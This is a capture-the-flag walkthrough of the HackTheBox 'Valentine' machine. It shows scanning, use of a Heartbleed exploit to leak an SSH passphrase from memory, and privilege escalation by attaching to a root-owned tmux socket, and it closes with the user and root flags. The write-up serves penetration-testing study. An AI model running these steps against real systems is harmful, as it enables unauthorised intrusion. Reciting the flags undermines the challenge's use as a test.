Valentine

Scanning

sudo nmap -A -T4 -v 10.10.10.79 -oA scans/scan

SSH, HTTP, HTTPS

Discovered open port 22/tcp on 10.10.10.79
Discovered open port 80/tcp on 10.10.10.79
Discovered open port 443/tcp on 10.10.10.79

Let’s checkout the website - http.

Just a jpg. how about https? - same thing

Fuzz for some directories

dirsearch -u http://10.10.10.79 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r

Let check em out.

/dev contains notes.txt and hype_key

notes.txt:

hype_key

Bunch of hex?

The note also mentions encoding and decoding, we found the directories /encode and /decode.

Before we jump in here, lets checkout the /omg dir

ah yes the picture

What does encode do?

Some sort of base encoding?

Does decoder do the same thing?

/decode

Yep, not sure what the point of this is. lets throw this hex we found into cyberchef

HAHA its just an ssh key? ok. We don’t know the username, but we can save the ssh key for later.

Step 3 and 4 of notes.txt seems like a clue

3. Fix decoder/encoder before going live.
4. Make sure encoding/decoding is only done client-side.

I see a two paths here to try

1. Possible LFI in the encoder or decoder, read /etc/passwd and enum users
2. Command injection in the encoder/decoder read /etc/passwd to enum users

Because this is an encoder/decoder I imagine this is part of the challenge, maybe we have to encode our payloads?

I tried a few things with no luck. Retracing my steps, I realize the name of the key was literally hype_key. is hype the user?

chmod 400 hype_key

ssh hype@10.10.10.79 -i hype_key

Need a passphrase, lets try ssh2john to crack it?

No luck. Retracing my steps again, why would https be open? Maybe nmap can find something with vuln script?

sudo nmap 10.10.10.79 --script vuln -vv

This produced a lot of output, one finding stuck out, heartbleed! The name of the box is Valentine and the picture hosted on the webserver are both huge clues that this is the intended path.

searchsploit heartbleed

We have some options. Lets examine the first one

searchsploit -m 32764  
  Exploit: OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure (Multiple SSL/TLS Versions)
      URL: https://www.exploit-db.com/exploits/32764
     Path: /usr/share/exploitdb/exploits/multiple/remote/32764.py
    Codes: CVE-2014-0346, CVE-2014-0160, OSVDB-105465
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/sync/pentesting/HTB/valentine/32764.py

This verified the host is vulnerable, but how do we exploit it?

I read about heartbleed here

Hack Like a Pro: Hacking the Heartbleed Vulnerability

Welcome back, my greenhorn hackers!

null-byte.wonderhowto.com

My understanding is that it allows you to traverse the data in memory remotely. If I keep running the exploit script, it should continue to traverse memory. Maybe we can find something interesting?

Initially, I saw my nmap scan popping up, not sure whey, maybe some logging thing?

Eventually I noticed a base64 encoded string popup.

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

Decoding this string we get:

NO WAY THAT WAS SICK AS FUCK

heartbleedbelievethehype

This might be the ssh passphrase. Lets attempt to connect with it.

Looks like its using a legacy crypto exchange. We can bypass this by specifying one.

ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i hype_key hype@10.10.10.79

We logged in!

Privilege Escalation

Checking for common paths, two things are interesting.

id 
uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)

We are in some interesting groups, maybe these can be abused.

SUID

find / -perm /4000 2>/dev/null

Found pkexec (pwnkit) this is not the intended path but would work.

also

/usr/bin/sudoedit

Does it have a GTFOBin?

nope.

looks like we can’t do this

Ok, lets target those groups.

smbshare group.

lets checkout the fstab to find locations of possible shares

cat /etc/fstab

Interesting. Looks like

/dev/fd0 --> /media/floppy0

We are also in the floppy group. Lets explore.

Nothing here

back to hunting for paths.

How does our history look?

history

Tmux is installed? If it is running as root we can use that.

ps aux | grep tmux 

root       1012  0.0  0.1  26416  1676 ?        Ss   05:37   0:04 /usr/bin/tmux -S /.devs/dev_sess

YUP

from the tmux manpages

“In tmux, a session is displayed on screen by a client and all sessions are managed by a single server. The server and each client are separate processes which communicate through a socket in /tmp.” In this case, tmux is using a non standard directory to run the socket.

If we have permission we can attach to the socket and run as root.

ls -la /.devs/dev_sess

Looks like group “hype” has permissions, so we should be able to attach to the session.

tmux attach -d -t valentine

tmux -S /.devs/dev_sess attach -t 0

WE GOT ROOT

User flag

706a1bb6ba1981524ff20fb81c59290d

Root flag

fdeffb2cb687f4dc249e70a0821d42b9